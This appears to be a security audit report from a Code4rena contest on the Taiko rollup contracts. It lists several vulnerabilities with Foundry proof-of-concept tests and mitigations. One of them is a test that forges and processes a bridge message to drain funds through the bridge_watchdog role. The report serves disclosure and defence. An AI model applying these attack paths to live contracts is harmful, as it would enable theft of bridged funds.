Taiko - monrel's results

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L140-L143 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L262-L293 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L145-L152 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L140-L143

Vulnerability details

Impact

The base fee calculation in the anchor() function is incorrect. Issuance is over inflated and will either lead to the chain halting or a severely deflated base fee.

Proof of Concept

We calculate the 1559 base fee and compare it to block.basefee https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L140-L143

        (basefee, gasExcess) = _calc1559BaseFee(config, _l1BlockId, _parentGasUsed);
        if (!skipFeeCheck() && block.basefee != basefee) {
            revert L2_BASEFEE_MISMATCH();
        

But the calculation is incorrect

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L262-L293

        if (gasExcess > 0) {
            // We always add the gas used by parent block to the gas excess
            // value as this has already happened
            uint256 excess = uint256(gasExcess) + _parentGasUsed;

            // Calculate how much more gas to issue to offset gas excess.
            // after each L1 block time, config.gasTarget more gas is issued,
            // the gas excess will be reduced accordingly.
            // Note that when lastSyncedBlock is zero, we skip this step
            // because that means this is the first time calculating the basefee
            // and the difference between the L1 height would be extremely big,
            // reverting the initial gas excess value back to 0.
            uint256 numL1Blocks;
            if (lastSyncedBlock > 0 && _l1BlockId > lastSyncedBlock) {
                numL1Blocks = _l1BlockId - lastSyncedBlock;
            }

            if (numL1Blocks > 0) {
                uint256 issuance = numL1Blocks * _config.gasTargetPerL1Block;
                excess = excess > issuance ? excess - issuance : 1;
            }

            gasExcess_ = uint64(excess.min(type(uint64).max));

            // The base fee per gas used by this block is the spot price at the
            // bonding curve, regardless the actual amount of gas used by this
            // block, however, this block's gas used will affect the next
            // block's base fee.
            basefee_ = Lib1559Math.basefee(
                gasExcess_, uint256(_config.basefeeAdjustmentQuotient) * _config.gasTargetPerL1Block
            );
        }

Instead of issuing _config.gasTargetPerL1Block for each L1 block we end up issuing uint256 issuance = (_l1BlockOd - lastSyncedBlock) * _config.gasTargetPerL1Block.

lastSyncedBlock is only updated every 5 blocks

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L2/TaikoL2.sol#L145-L152

        if (_l1BlockId > lastSyncedBlock + BLOCK_SYNC_THRESHOLD) {
            // Store the L1's state root as a signal to the local signal service to
            // allow for multi-hop bridging.
            ISignalService(resolve("signal_service", false)).syncChainData(
                ownerChainId, LibSignals.STATE_ROOT, _l1BlockId, _l1StateRoot
            );
            lastSyncedBlock = _l1BlockId;
        }

If anchor() is called on 5 consecutive blocks we end up issuing in total 15 * _config.gasTargetPerL1Block instead of 5 * _config.gasTargetPerL1Block.

When the calculated base fee is compared to the block.basefee the following happens:

• If block.basefeereports the correct base fee this will end up halting the chain since they will not match.

• If block.basefee is using the same flawed calculation the chain continues but with a severely reduced and incorrect base fee.

Here is a simple POC showing the actual issuance compared to the expected issuance. Paste the code into TaikoL1LibProvingWithTiers.t.sol and run forge test --match-test testIssuance -vv.

    struct Config {
        uint32 gasTargetPerL1Block;
        uint8 basefeeAdjustmentQuotient;
    }

    function getConfig() public view virtual returns (Config memory config_) {
        config_.gasTargetPerL1Block = 15 * 1e6 * 4;
        config_.basefeeAdjustmentQuotient = 8;
    }

    uint256 lastSyncedBlock = 1;
    uint256 gasExcess = 10;
    function _calc1559BaseFee(
        Config memory _config,
        uint64 _l1BlockId,
        uint32 _parentGasUsed
    )
        private
        view
        returns (uint256 issuance, uint64 gasExcess_)
    {
        if (gasExcess > 0) {
            uint256 excess = uint256(gasExcess) + _parentGasUsed;

            uint256 numL1Blocks;
            if (lastSyncedBlock > 0 && _l1BlockId > lastSyncedBlock) {
                numL1Blocks = _l1BlockId - lastSyncedBlock;
            }

            if (numL1Blocks > 0) {
                issuance = numL1Blocks * _config.gasTargetPerL1Block;
                excess = excess > issuance ? excess - issuance : 1;
            }
			// I have commented out the below basefee calculation
			// and return issuance instead to show the actual
			// accumulated issuance over 5 L1 blocks.
			// nothing else is changed
		
            //gasExcess_ = uint64(excess.min(type(uint64).max));
			
            //basefee_ = Lib1559Math.basefee(
            //    gasExcess_, uint256(_config.basefeeAdjustmentQuotient) * _config.gasTargetPerL1Block
            //);
        }

        //if (basefee_ == 0) basefee_ = 1;
    }
        
    function testIssuance() external {
        uint256 issuance;
        uint256 issuanceAdded;
        Config memory config = getConfig();
        for (uint64 x=2; x <= 6 ;x++){
            
            (issuanceAdded ,) = _calc1559BaseFee(config, x, 0);
            issuance += issuanceAdded;
            console2.log("added", issuanceAdded);
        }

        uint256 expectedIssuance = config.gasTargetPerL1Block*5;
        console2.log("Issuance", issuance);
        console2.log("Expected Issuance", expectedIssuance);
        
        assertEq(expectedIssuance*3, issuance);

Tools Used

foundry, vscode

Recommended Mitigation Steps

Issue exactly config.gasTargetPerL1Block for each L1 block.

Assessed type

Other

            if (numL1Blocks > 0) {
                uint256 issuance = numL1Blocks * _config.gasTargetPerL1Block;
                excess = excess > issuance ? excess - issuance : 1;
            }

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProving.sol#L387-L392 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProving.sol#L189-L199 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibVerifying.sol#L178-L189

Vulnerability details

Impact

Both validity and contests bonds can be wrongfully slashed even if the transition ends up being the correct and verified one.

The issue comes from the fact that the history of the final verified transition is not taken into account.

Example 1: Validity bond is wrongfully burned:

1. Bob Proves transition T1 for parent P1
2. Alice contests and proves T2 for parent P1 with higher tier proof.
3. Guardians steps in to correctly prove T1 for parent P2.

At step 2 Bob loses his bond and is permanentley written out of the history of P1 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProving.sol#L387-L392

    _ts.validityBond = _tier.validityBond; 
    _ts.contestBond = 1; 
    _ts.contester = address(0);
    _ts.prover = msg.sender;
    _ts.tier = _proof.tier; 

Example 2: Contest bond wrongfully slashed:

1. Alice proves T1 for parent P1 with SGX
2. Bob contests T1 for parent P1
3. Alice proves T1 with SGX_ZK parent P1
4. Guardian steps in to correctly disprove T1 with T2 for parent P1

Bob was correct and T1 was ultimately proven false. Bob still loses his contest bond.

When the guardian overrides the proof they can not pay back Bob's validity or contesting bond. They are only able to pay back a liveness bond https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProving.sol#L189-L199

if (isTopTier) { 
	// A special return value from the top tier prover can signal this
	// contract to return all liveness bond.
	bool returnLivenessBond = blk.livenessBond > 0 && _proof.data.length == 32
		&& bytes32(_proof.data) == RETURN_LIVENESS_BOND;

	if (returnLivenessBond) {
		tko.transfer(blk.assignedProver, blk.livenessBond);
		blk.livenessBond = 0;
	} 
}

These funds are now frozen since they are sent to the Guardian contract which has no ability to recover them

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibVerifying.sol#L178-L189

                uint256 bondToReturn = uint256(ts.validityBond) + blk.livenessBond;

                if (ts.prover != blk.assignedProver) {
                    bondToReturn -= blk.livenessBond >> 1;
                }

                IERC20 tko = IERC20(_resolver.resolve("taiko_token", false));
                tko.transfer(ts.prover, bondToReturn)

ts.prover will be the Guardian since they are the last to prove the block

Proof of Concept

POC for example 1. Paste the below code into the TaikoL1LibProvingWithTiers.t file and run forge test --match-test testProverLoss -vv

    function testProverLoss() external{
        giveEthAndTko(Alice, 1e7 ether, 1000 ether);
        giveEthAndTko(Carol, 1e7 ether, 1000 ether);
        giveEthAndTko(Bob, 1e6 ether, 100 ether);
        console2.log("Bob balance:", tko.balanceOf(Bob));
        uint256 bobBalanceBefore = tko.balanceOf(Bob);
        vm.prank(Bob, Bob);

        bytes32 parentHash = GENESIS_BLOCK_HASH;
        uint256 blockId = 1;
        
        (TaikoData.BlockMetadata memory meta,) = proposeBlock(Alice, Bob, 1_000_000, 1024);

        console2.log("Bob balance After propose:", tko.balanceOf(Bob));
        mine(1);

        bytes32 blockHash = bytes32(1e10 + blockId);
        bytes32 stateRoot = bytes32(1e9 + blockId);

        (, TaikoData.SlotB memory b) = L1.getStateVariables();
        uint64 lastVerifiedBlockBefore = b.lastVerifiedBlockId;

        // Bob proves transition T1 for parent P1
        proveBlock(Bob, Bob, meta, parentHash, blockHash, stateRoot, meta.minTier, "");
        console2.log("Bob balance After proof:", tko.balanceOf(Bob));

        uint16 minTier = meta.minTier;

        // Higher Tier contests by proving transition T2 for same parent P1
        proveHigherTierProof(meta, parentHash, bytes32(uint256(1)), bytes32(uint256(1)), minTier);

        // Guardian steps in to prove T1 is correct transition for parent P1
        proveBlock(
            David, David, meta, parentHash, blockHash, stateRoot, LibTiers.TIER_GUARDIAN, ""
        );

        vm.roll(block.number + 15 * 12);

        vm.warp(
            block.timestamp + tierProvider().getTier(LibTiers.TIER_GUARDIAN).cooldownWindow * 60
                + 1
        );

        vm.roll(block.number + 15 * 12);
        vm.warp(
            block.timestamp + tierProvider().getTier(LibTiers.TIER_GUARDIAN).cooldownWindow * 60
                + 1
        );

        // When the correct transition T1 is verified Bob does permantley loses his validitybond
        // even though it is the correct transition for the verified parent P1.
        verifyBlock(Carol, 1);
        parentHash = blockHash;

        (, b) = L1.getStateVariables();
        uint64 lastVerifiedBlockAfter = b.lastVerifiedBlockId;
        assertEq(lastVerifiedBlockAfter, lastVerifiedBlockBefore + 1 ); // Verification completed

        uint256 bobBalanceAfter = tko.balanceOf(Bob);
        assertLt(bobBalanceAfter, bobBalanceBefore);

        console2.log("Bob Loss:", bobBalanceBefore - bobBalanceAfter);
        console2.log("Bob Loss without couting livenessbond:", bobBalanceBefore - bobBalanceAfter - 1e18); // Liveness bond is 1 ETH in tests
    }

Tools Used

foundry, vscode

Recommended Mitigation Steps

The simplest solution is to allow the guardian to pay back validity and contest bonds in the same manner as for liveness bonds. This keeps the simple design while allowing bonds to be recovered if a prover or contesters action is ultimately proven correct.

Guardian will pass in data in _proof.data that specifies the address, tiers and bond type that should be refunded. Given that Guardians already can verify any proof this does not increase centralization.

We also need to not to not recover any reward when we prove with Guardian and _overrideWithHigherProof() is called. If the ts.validityBond reward is sent to the Guardian it will be locked. Instead we need to keep it in TaikoL1 such that it can be recovered as described above

+if (_tier.contestBond != 0){
	unchecked {
		if (reward > _tier.validityBond) {
			_tko.transfer(msg.sender, reward - _tier.validityBond);
		} else {
			_tko.transferFrom(msg.sender, address(this), _tier.validityBond - reward);
		}
	}
+}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/hooks/AssignmentHook.sol#L114-L116 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L182

Vulnerability details

Impact

When proposing a block with AssignmentHook the proposer pays the prover with ERC20 tokens by approving a transfer to the AssignmentHook. If the block is not using blobs it must be called with an EOA this means that the approval and call to propose must be done in separate transactions and could therefore be front-run.

The prover can front-run the proposer to propose another block but still collect the fee from the previous proposer's coinbase since it has approved the transfer.

Proof of Concept

A proposer pays the prover by giving allowance to the AssignmentHook to transfer tokens to the prover https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/hooks/AssignmentHook.sol#L114-L116

            IERC20(assignment.feeToken).safeTransferFrom(
                _meta.coinbase, _blk.assignedProver, proverFee
            )

If blobs are not used the proposeBlock() must be done with an EOA

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L182

if (!LibAddress.isSenderEOA()) revert L1_PROPOSER_NOT_EOA();

proposeBlock() must therefore be called with a EOA and the approval will be done in a separate transaction.

A prover can front-run and use the previous proposers coinbase to steal their fees while proposing a different block. This block could for example be trivial and cheap to prove with ZK e.g a block that only calls the anchor().

Tools Used

foundry, vscode

Recommended Mitigation Steps

A potential solution is to always use the msg.sender of the proposeBlock() call as the coinbase.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/BridgedERC20Base.sol#L75-L89 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/adapters/USDCAdapter.sol#L43-L45 https://github.com/circlefin/stablecoin-evm/blob/0828084aec860712531e8d79fde478927a34b3f4/contracts/v1/FiatTokenV1.sol#L133-L136

Vulnerability details

Impact

The old bridge token could be stuck if the minting function reverts. These tokens can neither be bridged back nor be migrated to the new native token. For the USDCAdapter this would happen if the max minting allowance is reached for the USDCAdapter.

These tokens would most likely lose significant value since they are not redeemable for the actual canonical token.

Proof of Concept

Each minter has a maximum allowance in USDC, if the limit is reached minting can no happen.

To migrate a bridge token to a new native token, a user burns their token and mints native tokens through USDCAdapter

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/BridgedERC20Base.sol#L75-L89

    function burn(address _account, uint256 _amount) public nonReentrant whenNotPaused {
        if (_isMigratingOut()) {
            // Only the owner of the tokens himself can migrate out
            if (msg.sender != _account) revert BB_PERMISSION_DENIED();
            // Outbound migration
            emit MigratedTo(migratingAddress, _account, _amount);
            // Ask the new bridged token to mint token for the user.
            IBridgedERC20(migratingAddress).mint(_account, _amount);
        } else if (msg.sender != resolve("erc20_vault", true)) {
            // Only the vault can burn tokens when not migrating out
            revert RESOLVER_DENIED();
        }

        _burnToken(_account, _amount);
    

The USDCAdapter mints native tokens

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/adapters/USDCAdapter.sol#L43-L45

    function _mintToken(address _account, uint256 _amount) internal override {
        usdc.mint(_account, _amount);
    }

but will revert if the allowance is reached

https://github.com/circlefin/stablecoin-evm/blob/0828084aec860712531e8d79fde478927a34b3f4/contracts/v1/FiatTokenV1.sol#L133-L136

        require(
            _amount <= mintingAllowedAmount,
            "FiatToken: mint amount exceeds minterAllowance"
        );

Tools Used

foundry, vscode

Recommended Mitigation Steps

Implement functionality to allow old bridge tokens to be bridged back to the canonical token. If the max limit is reached on L2 user should be able to bridge back to L1 and claim the canonical tokens.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/ERC20Vault.sol#L320-L335 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/adapters/USDCAdapter.sol#L43-L45 https://github.com/circlefin/stablecoin-evm/blob/0828084aec860712531e8d79fde478927a34b3f4/contracts/v1/FiatTokenV1.sol#L133-L136

Vulnerability details

Impact

A recalling ERC20 bridge transfer can lock funds in the bridge if the call to mint tokens fail on the source chain. Depending on the Native token logic this could either be a permanent lock or a lock of an unknown period of time.

Example of how this can happen with the provided USDCAdapter:

USDC limits the amount of USDC that can be minted on each chain by giving each minter a minting allowance. If the minting allowance is reach minting will revert. If this happens in a recalled message the tokens together with the ETH value is locked.

Proof of Concept

USDC limits the amount of USDC that can be minted on each chain by giving each minter a minting allowance.

If _amount <= mintingAllowedAmount is reached for the USDCAdapter tokens can not be minted but since this is a recalled message the funds are stuck.

Both onMessageIncovation() and onMessageRecalled() call _transferToken() to either mint or release tokens

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/ERC20Vault.sol#L320-L335

    function _transferTokens(
        CanonicalERC20 memory _ctoken,
        address _to,
        uint256 _amount
    )
        private
        returns (address token_)
    {
        if (_ctoken.chainId == block.chainid) {
            token_ = _ctoken.addr;
            IERC20(token_).safeTransfer(_to, _amount);
        } else {
            token_ = _getOrDeployBridgedToken(_ctoken);
            IBridgedERC20(token_).mint(_to, _amount);
        }
    }

A recalled message to bridge USDC L1->L2 will revert when we attempt to mint through the USDCAdapter

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/tokenvault/adapters/USDCAdapter.sol#L43-L45

    function _mintToken(address _account, uint256 _amount) internal override {
        usdc.mint(_account, _amount);
    

On the following condition in the native USDC contract

https://github.com/circlefin/stablecoin-evm/blob/0828084aec860712531e8d79fde478927a34b3f4/contracts/v1/FiatTokenV1.sol#L133-L136

        require(
            _amount <= mintingAllowedAmount,
            "FiatToken: mint amount exceeds minterAllowance"
        );

Course of events that ends in locked funds:

1. User bridges USDC from L2->L1
2. The message is recalled from L1
3. The USDCAdapter has reached the mintingAllowedAmount
4. The recalled message is stuck because minting reverts. The USDC and ETH passed in are both locked.

Tools Used

foundry, vscode

Recommended Mitigation Steps

Add new functionality in the vault that allows users to send a new message to the destination chain again with new message data if onMessageRecalls() can not mint tokens. We give users the ability to redeem for canonical tokens instead of being stuck.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

Vulnerability details

Impact

The bridge_watchdog role can forge arbitrary messages and drain the bridge of all ETH and tokens.

Proof of Concept

bridge_watchdog can call suspendMessasges() to suspend and un-suspend a message

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
        uint64 _timestamp = _suspend ? type(uint64).max : uint64(block.timestamp);
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

When this function is called to un-suspend a message we set proofReceipt[msgHash] = _timestamp. If the msgHash was not proven before it will now be treated as proven since any msgHash with a timestamp != 0 is treated as proven

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

        uint64 receivedAt = proofReceipt[msgHash].receivedAt;
        bool isMessageProven = receivedAt != 0

bridge_watchdog can therefore forge arbitrary messages and have them treated as proven by first suspending them and then un-suspending them.

bride_watchdog is supposed to only be able to ban and suspend messages, in the expected worst case bridge_watchdog is limited to DDOSing messages and bans until governance removes the the bridge_watchdog.

With the privilege escalation shown here the role can instead drain the bridge of all ETH and tokens.

POC

Here is a POC showing that we can forge an arbitrary message by suspending and un-suspending a message

To run this POC first change the following code in Bridge.t.sol so that we use a real signalService

register(
+address(addressManager), "signal_service", address(signalService), destChainId 
-address(addressManager), "signal_service", address(mockProofSignalService), destChainId 
);

Paste the below code and run into Bridge.t.sol and run forge test --match-test testWatchdogDrain -vvv

    function testWatchdogDrain() public {
        uint256 balanceBefore = Bob.balance;
        IBridge.Message memory message = IBridge.Message({
            id: 0,
            from: address(bridge),
            srcChainId: uint64(block.chainid),
            destChainId: destChainId,
            srcOwner: Alice,
            destOwner: Alice,
            to: Bob,
            refundTo: Alice,
            value: 10 ether,
            fee: 1,
            gasLimit: 1_000_000,
            data: "",
            memo: ""
        });


        bytes memory proof = hex"00";
        bytes32 msgHash = destChainBridge.hashMessage(message);
        
        bytes32[] memory msgHashA = new bytes32[](1); 
        msgHashA[0] = msgHash;

        vm.prank(Alice); 
        destChainBridge.suspendMessages(msgHashA, true); 

        vm.prank(Alice);
        destChainBridge.suspendMessages(msgHashA, false); 

        vm.chainId(destChainId);
        vm.prank(Bob, Bob);

        destChainBridge.processMessage(message, proof);

        IBridge.Status status = destChainBridge.messageStatus(msgHash);

        assertEq(status == IBridge.Status.DONE, true);
        console2.log("Bobs Stolen funds", Bob.balance-balanceBefore);
        
        console2.log("We have successfully processed a message without actually proving it!");
    }

Tools Used

foundry, vscode

Recommended Mitigation Steps

Un-suspended messages should be set to 0 and be proven or re-proven.

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
+       uint64 _timestamp = _suspend ? type(uint64).max : 0;
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

Assessed type

Other

I believe we are mixing "relayed message" with a "message signal not yet to be received"

Judge has assessed an item in Issue #329 as 2 risk. The relevant finding follows:

L-4

L-1: Consider allowing only the originator of the message to call recallMessage()

_message.from has not implemented the IRecallAbleSender() interface the recall will default to only sending the ETH available.

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L189-L207

if (block.timestamp >= invocationDelay + receivedAt) {
            delete proofReceipt[msgHash];
            messageStatus[msgHash] = Status.RECALLED;

            // Execute the recall logic based on the contract's support for the
            // IRecallableSender interface
            if (_message.from.supportsInterface(type(IRecallableSender).interfaceId)) {
                _storeContext(msgHash, address(this), _message.srcChainId);

                // Perform recall
                IRecallableSender(_message.from).onMessageRecalled{ value: _message.value }(
                    _message, msgHash
                );

                // Must reset the context after the message call
                _resetContext();
            } else {
                _message.srcOwner.sendEther(_message.value);
            }

A user could prevent this from happening by implementing the interface before recallMessage() is called and by doing so they can recover the intended message. If only message.from can call recallMessage() we allow for this.

L-2: It is not possible to set a designated relayer which could increase the bridging cost.

If it is possible to set a designated relayer which guarantees that only they can call processMessage() for a period of time we could possibly decrease the bridging fee since relayers don't have to compete and big against each other to be the first to call processMessage().

The designated relayer will have a a priori guarantee that they will receive the fee and it will therefore not have to pay to be the first to call processMessage().

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L217

L-3: Blob re-use can lead to potentially unpredictable commitments for provers

When blobs are re-used the prover could end up committing to a large number of different blocks if they are not careful with their assignments

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L141-L176

if (meta_.blobUsed) {
            if (!_config.blobAllowedForDA) revert L1_BLOB_FOR_DA_DISABLED();

            if (params.blobHash != 0) {
                if (!_config.blobReuseEnabled) revert L1_BLOB_REUSE_DISABLED();

                // We try to reuse an old blob
                if (!isBlobReusable(_state, _config, params.blobHash)) {
                    revert L1_BLOB_NOT_REUSABLE();
                }
                meta_.blobHash = params.blobHash;
            } else {
                // Always use the first blob in this transaction. If the
                // proposeBlock functions are called more than once in the same
                // L1 transaction, these multiple L2 blocks will share the same
                // blob.
                meta_.blobHash = blobhash(0);

                if (meta_.blobHash == 0) revert L1_BLOB_NOT_FOUND();

                // Depends on the blob data price, it may not make sense to
                // cache the blob which costs 20,000 (sstore) + 631 (event)
                // extra gas.
                if (_config.blobReuseEnabled && params.cacheBlobForReuse) {
                    _state.reusableBlobs[meta_.blobHash] = block.timestamp;
                    emit BlobCached(meta_.blobHash);
                }
            }

            // Check that the txList data range is within the max size of a blob
            if (uint256(params.txListByteOffset) + params.txListByteSize > MAX_BYTES_PER_BLOB) {
                revert L1_TXLIST_OFFSET();
            }

            meta_.txListByteOffset = params.txListByteOffset;
            meta_.txListByteSize = params.txListByteSize;

If the prover does not specify the metaHash, parentHash and sets loose boundaries on maxBlockID and maxProposeIn

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/hooks/AssignmentHook.sol#L82-L86

            block.timestamp > assignment.expiry
                || assignment.metaHash != 0 && _blk.metaHash != assignment.metaHash
                || assignment.parentMetaHash != 0 && _meta.parentMetaHash != assignment.parentMetaHash
                || assignment.maxBlockId != 0 && _meta.id > assignment.maxBlockId
                || assignment.maxProposedIn != 0 && block.number > assignment.maxProposedI

They can end up committing to multiple blocks of any subset of the transactions in the blob.

L-4: Incorrect validation on proposer for the first block

When proposing _isProposerPermitted() is called to check if the proposer is permitted

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L298-L318

    function _isProposerPermitted(
        TaikoData.SlotB memory _slotB,
        IAddressResolver _resolver
    )
        private
        view
        returns (bool)
    {
        if (_slotB.numBlocks == 1) {
            // Only proposer_one can propose the first block after genesis
            address proposerOne = _resolver.resolve("proposer_one", true);
            if (proposerOne != address(0) && msg.sender != proposerOne) {
                return false;
            }
        }

        address proposer = _resolver.resolve("proposer", true);
        return proposer == address(0) || msg.sender == proposer;
    }
}

The second validation is unnecessary and could revert the call. We should not check if proposer = msg.sender if proposerOne = msg.sender for the first block. They could be different and this would revert this call.

if (_slotB.numBlocks == 1) {
	// Only proposer_one can propose the first block after genesis
	address proposerOne = _resolver.resolve("proposer_one", true);
+   if (msg.sender == proposerOne) {return true;}

L-5: Guardian can not un-approve a hash

If a guardian discovers that the have signed an incorrect hash or maybe if key have been stolen it would add extra security if a guardian could un-approve a previously approved hash

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/provers/GuardianProver.sol#L35-L55

    function approve(
        TaikoData.BlockMetadata calldata _meta,
        TaikoData.Transition calldata _tran,
        TaikoData.TierProof calldata _proof
    )
        external
        whenNotPaused
        nonReentrant
        returns (bool approved_)
    {
        if (_proof.tier != LibTiers.TIER_GUARDIAN) revert INVALID_PROOF();
        bytes32 hash = keccak256(abi.encode(_meta, _tran));
        approved_ = approve(_meta.id, hash);

        if (approved_) {
            deleteApproval(hash);
            ITaikoL1(resolve("taiko", false)).proveBlock(_meta.id, abi.encode(_meta, _tran, _proof));
        }

        emit GuardianApproval(msg.sender, _meta.id, _tran.blockHash, approved_);
    }

L-6: We do not validate between the grant and unlock parameters

When granting validateGrant() is called where we validate that the parameters for grant and unlock are valid

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/team/TimelockTokenPool.sol#L267-L271

    function _validateGrant(Grant memory _grant) private pure {
        if (_grant.amount == 0) revert INVALID_GRANT();
        _validateCliff(_grant.grantStart, _grant.grantCliff, _grant.grantPeriod);
        _validateCliff(_grant.unlockStart, _grant.unlockCliff, _grant.unlockPeriod);
    

We do not validate between grant and unlock. E.g. an unlock with a cliff that is finished before the grant starts makes no sense and is a sign that the wrong parameters has been entered.

L-6: The entire hook array should be passed to the AssigmentHooks to protect against conflicting hooks.

Provers and proposer will create their own hooks some of those hooks could interfere with each other.

En example of such a hook would be a hook that relies on swapping on a DEX to acquire TKO directly in the hook. The prover could allow the proposer to pass in arbitrary data to swap on an any DEX. The prover relies entirely on the check after the hook has executed to guarantee that the correct amount of TKO has been transferred

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L268-L270

            if (tko.balanceOf(address(this)) != tkoBalance + _config.livenessBond) {
                revert L1_LIVENESS_BOND_NOT_RECEIVED();
            

A proposer could potentially call both these hooks that are independently safe to steal funds from the prover.

Proposer calls both AssigmentHooks in the loop

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/L1/libs/LibProposing.sol#L244-L271

for (uint256 i; i < params.hookCalls.length; ++i) {
                if (uint160(prevHook) >= uint160(params.hookCalls[i].hook)) {
                    revert L1_INVALID_HOOK();
                }

                // When a hook is called, all ether in this contract will be send to the hook.
                // If the ether sent to the hook is not used entirely, the hook shall send the Ether
                // back to this contract for the next hook to use.
                // Proposers shall choose use extra hooks wisely.
                IHook(params.hookCalls[i].hook).onBlockProposed{ value: address(this).balance }(
                    blk, meta_, params.hookCalls[i].data
                );

                prevHook = params.hookCalls[i].hook;
            }
            // Refund Ether
            if (address(this).balance != 0) {
                msg.sender.sendEther(address(this).balance);
            }

            // Check that after hooks, the Taiko Token balance of this contract
            // have increased by the same amount as _config.livenessBond (to prevent)
            // multiple draining payments by a malicious proposer nesting the same
            // hook.
            if (tko.balanceOf(address(this)) != tkoBalance + _config.livenessBond) {
                revert L1_LIVENESS_BOND_NOT_RECEIVED();
            }
        }

Example:

1. AssigmentHook is first called and transfers liveness bond
2. DexAssigmentHook is then called, proposer passes fake DEX data to steal the funds.
3. proposeBlock() does not revert since the first AssigmentHook provided the liveness bond

